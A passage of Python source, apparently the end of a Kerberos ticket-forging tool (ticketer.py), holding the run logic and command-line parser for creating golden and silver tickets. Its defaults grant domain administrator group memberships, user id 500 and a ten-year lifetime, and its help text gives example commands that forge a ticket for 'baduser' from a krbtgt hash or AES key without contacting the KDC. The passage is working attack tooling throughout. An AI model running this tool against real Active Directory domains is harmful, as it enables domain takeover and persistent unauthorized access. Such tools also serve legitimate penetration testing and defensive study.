ticket, adIfRelevant = self.createBasicTicket()
if ticket is not None:
encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)
ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos)
self.saveTicket(ticket, sessionKey)
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on "
"user options")
parser.add_argument('target', action='store', help='username for the newly created ticket')
parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will'
' be generated for. if omitted, golden ticket will be created')
parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '
'changing only the supplied information. It requires specifying -user')
parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)')
parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be '
'generated for')
parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket '
'(128 or 256 bits)')
parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket')
parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of '
'groups user will belong to (default = 513, 512, 520, 518, 519)')
parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be '
'created for (default = 500)')
parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC')
parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires '
'(default = 365*10)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be '
'different from domain/username')
group.add_argument('-password', action="store", help='password for domain/username')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
print("\nExamples: ")
print("\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n")
print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.")
print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256")
print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as")
print("\tbaduser.ccache.\n")
print("\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain "
"<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n")
print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used")
print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,")
print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'")
print("\tand saved as baduser.ccache")
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if options.domain is None:
logging.critical('Domain should be specified!')
sys.exit(1)
if options.aesKey is None and options.nthash is None:
logging.error('You have to specify either a aesKey or nthash')
sys.exit(1)
if options.aesKey is not None and options.nthash is not None and options.request is False:
logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')
sys.exit(1)
if options.request is True and options.user is None:
logging.error('-request parameter needs -user to be specified')
sys.exit(1)
if options.request is True and options.hashes is None and options.password is None:
from getpass import getpass
password = getpass("Password:")
else:
password = options.password
try:
executer = TICKETER(options.target, password, options.domain, options)
executer.run()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))
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